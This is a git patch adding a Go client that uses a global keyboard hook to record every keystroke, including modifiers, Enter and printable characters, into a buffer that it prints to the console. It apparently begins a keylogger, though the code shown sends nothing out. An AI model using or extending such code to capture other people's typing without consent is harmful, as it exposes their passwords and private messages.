From 0264c51970bc7dd960c7d0cf0fb3435965a518a6 Mon Sep 17 00:00:00 2001 From: Daniel Svitan Date: Fri, 21 Mar 2025 23:16:41 +0100 Subject: [PATCH] :tada: Initial client commit --- client/go.mod | 8 +++++ client/go.sum | 4 +++ client/main.go | 81 ++++++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 93 insertions(+) create mode 100644 client/go.mod create mode 100644 client/go.sum create mode 100644 client/main.go diff --git a/client/go.mod b/client/go.mod new file mode 100644 index 0000000..09f0344 --- /dev/null +++ b/client/go.mod @@ -0,0 +1,8 @@ +module svitan.dev/keys/client + +go 1.24.1 + +require ( + github.com/robotn/gohook v0.42.0 // indirect + github.com/vcaesar/keycode v0.10.1 // indirect +) diff --git a/client/go.sum b/client/go.sum new file mode 100644 index 0000000..1a682cf --- /dev/null +++ b/client/go.sum @@ -0,0 +1,4 @@ +github.com/robotn/gohook v0.42.0 h1:y241yJtt1JvObVwoS2kXJ5OsoIsOoVkp/SPqmCAUhJg= +github.com/robotn/gohook v0.42.0/go.mod h1:PYgH0f1EaxhCvNSqIVTfo+SIUh1MrM2Uhe2w7SvFJDE= +github.com/vcaesar/keycode v0.10.1 h1:0DesGmMAPWpYTCYddOFiCMKCDKgNnwiQa2QXindVUHw= +github.com/vcaesar/keycode v0.10.1/go.mod h1:JNlY7xbKsh+LAGfY2j4M3znVrGEm5W1R8s/Uv6BJcfQ= diff --git a/client/main.go b/client/main.go new file mode 100644 index 0000000..878e21f --- /dev/null +++ b/client/main.go @@ -0,0 +1,81 @@ +package main + +import ( + "fmt" + + hook "github.com/robotn/gohook" +) + +const ( + SHIFT_RAWCODE = 65505 + CTRL_RAWCODE = 65507 + ALT_RAWCODE = 65513 + DEL_KEYCHAR = 8 + ENTER_KEYCHAR = 13 + REG_START = 32 + REG_END = 255 +) + +func main() { + evChan := hook.Start() + defer hook.End() + buff := make([]byte, 64) + + for ev := range evChan { + switch ev.Rawcode { + case SHIFT_RAWCODE: + if ev.Kind == hook.KeyDown { + buff = append(buff, []byte("[SHIFT]")...) + } else if ev.Kind == hook.KeyUp { + buff = append(buff, []byte("[shift]")...) + } + continue + + case CTRL_RAWCODE: + if ev.Kind == hook.KeyDown { + buff = append(buff, []byte("[CTRL]")...) + } else if ev.Kind == hook.KeyUp { + buff = append(buff, []byte("[ctrl]")...) + } + continue + + case ALT_RAWCODE: + if ev.Kind == hook.KeyDown { + buff = append(buff, []byte("[ALT]")...) + } else if ev.Kind == hook.KeyUp { + buff = append(buff, []byte("[alt]")...) + } + continue + + case DEL_KEYCHAR: + if ev.Kind == hook.KeyDown { + buff = append(buff, []byte("[DEL]")...) + } + continue + } + + switch ev.Keychar { + case DEL_KEYCHAR: + if ev.Kind == hook.KeyDown { + buff = append(buff, []byte("[DEL]")...) + } + continue + + case ENTER_KEYCHAR: + if ev.Kind == hook.KeyDown { + fmt.Printf("A") + buff = append(buff, []byte("\n")...) + } + continue + } + + if REG_START <= ev.Keychar && ev.Keychar <= REG_END { + if ev.Kind == hook.KeyDown { + fmt.Printf("adding pesky %d (bcs %d)", ev.Keycode, ev.Rawcode) + buff = append(buff, byte(ev.Keychar)) + } + } + + fmt.Printf("'%s'\n", buff) + } +}